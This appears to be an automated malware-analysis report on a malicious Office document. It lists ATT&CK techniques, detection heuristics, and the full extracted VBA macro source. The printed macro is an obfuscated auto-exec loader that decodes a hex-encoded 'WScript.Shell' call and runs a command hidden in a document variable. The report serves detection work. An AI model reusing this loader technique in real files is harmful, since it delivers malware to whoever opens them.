MALICIOUS
342
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample contains heavily obfuscated VBA macros, including auto-executing Document_Open and Workbook_Open routines. These macros utilize CreateObject and CallByName to execute a payload, as indicated by the 'Obfuscated auto-exec VBA loader' and 'VBA p-code auto-exec with execution tokens' heuristics. The script's intent is to download and execute a second-stage payload, as suggested by the use of CreateObject and the 'Ingress Tool Transfer' technique.
Heuristics 9
-
ClamAV: Xls.Malware.Valyria-6700357-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Malware.Valyria-6700357-0
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
CallByName call high OLE_VBA_CALLBYNAMECallByName call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2252 bytes |
SHA-256: 9af5720f38234d250ae7cb45602d3460ee1666f32e267640e4e921a5ee9171d6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function YTYPZC() As String
Dim aYTYPZC As String
aYTYPZC = "A099C47FA0A0A3A0A0D8857F7CA0A0A0A0CAD2A0A0B6A0A0A0BAC2A0A067A0BAD8C79CA076A099C6A77EBDBBA0A0ABA0A0"
Dim myYTYPZC = aYTYPZC
Dim myNEW = aYTYPZC & myYTYPZC
End Function
Public Sub UB_FM()
Dim DYE_VVE As Object: Set DYE_VVE = VBA.CreateObject(D_WDO("5D5969786F767A34596E6B7272"))
CallByName DYE_VVE, "Run", VbMethod, D_WDO(ActiveDocument.Variables("SZQYTYMMQW").Value), 0, True
End Sub
Private Function QNQMTV() As String
Dim aQNQMTV As String
aQNQMTV = "A099C47FA0A0A3A0A0D8857F7CA0A0A0A0CAD2A0A0B6A0A0A0BAC2A0A067A0BAD8C79CA076A099C6A77EBDBBA0A0ABA0A0"
Dim myQNQMTV = aQNQMTV
Dim myRTO = aQNQMTV & myQNQMTV
End Function
Public Sub Document_Open()
Application.Run D_WDO("595E50655D525D5459525C4E58")
End Sub
Private Function WGDNMG() As String
Dim aWGDNMG As String
aWGDNMG = "A099C47FA0A0A3A0A0D8857F7CA0A0A0A0CAD2A0A0B6A0A0A0BAC2A0A067A0BAD8C79CA076A099C6A77EBDBBA0A0ABA0A0"
Dim myWGDNMG = aWGDNMG
Dim myYRT = aWGDNMG & myWGDNMG
End Function
Sub SXJ_WLWNSLVHR()
UB_FM
End Sub
Private Function MZSPNM() As String
Dim aMZSPNM As String
aMZSPNM = "A099C47FA0A0A3A0A0D8857F7CA0A0A0A0CAD2A0A0B6A0A0A0BAC2A0A067A0BAD8C79CA076A099C6A77EBDBBA0A0ABA0A0"
Dim myMZSPNM = aMZSPNM
Dim myGSO = aMZSPNM & myMZSPNM
End Function
Sub Workbook_Open()
Application.Run "ThisWorkbook." & D_WDO("595E50655D525D5459525C4E58")
End Sub
Public Function D_WDO(ByVal DYE_VVE As String)
Dim W_ADE As String
Dim RF_PA As Long
For RF_PA = 1 To Len(DYE_VVE) Step 2
W_ADE = W_ADE & Chr(CLng(Chr(38) & Chr(72) & Mid(DYE_VVE, RF_PA, 2)) - 6)
Next
D_WDO = W_ADE
End Function
Private Function NQSMXR() As String
Dim aNQSMXR As String
aNQSMXR = "A099C47FA0A0A3A0A0D8857F7CA0A0A0A0CAD2A0A0B6A0A0A0BAC2A0A067A0BAD8C79CA076A099C6A77EBDBBA0A0ABA0A0"
Dim myNQSMXR = aNQSMXR
Dim myYGD = aNQSMXR & myNQSMXR
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.